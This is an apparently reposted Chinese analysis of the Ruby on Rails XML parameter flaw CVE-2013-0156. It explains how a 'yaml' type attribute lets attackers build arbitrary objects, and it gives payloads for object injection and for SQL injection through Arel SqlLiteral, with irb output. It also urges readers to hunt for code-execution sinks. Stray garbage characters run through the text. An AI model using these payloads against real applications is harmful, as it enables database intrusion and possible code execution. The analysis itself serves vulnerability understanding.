Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

admin

Author: wofeiwo#80sec.com
$ C9 C% ?" Z7 G0 V- G. V! \. o
  Z4 M$ Y; Y( c" r  q* R注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。

近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
% ~, e5 r* ?3 t% L! i4 o" Z( `% _
! t2 |5 I) _8 W! v$ i9 iCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.

为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:

, g+ f% D  _1 S) n+ W3 L2 N& V$ Y<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:

"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.

% e( c6 w0 O5 t$ j# a% r说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?

% H. O; @; X# F2 M/ s/ f2 {" e9 y然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。
. ]0 {) ?# ?7 \
, N5 `) m# J" t) ^& `但是等等，还有另一个参数类型，yaml。
+ N2 c$ x0 @4 h
( J+ b5 U6 d3 e6 ayaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。

<test type="yaml">--- !ruby/object:A
aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。
/ ?5 ^* d8 k1 y% {* c5 \4 N
如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。
1 c7 d" W' ?6 z& }# Y" H
( g3 |/ o! E0 Q如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。
8 J  P7 w" O8 x# T" K. ]
一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式）

model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：

<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
/ M. x9 ?# ~" j2 l/ V1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。

irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
  u" |' S9 X' N2 {9 m5 z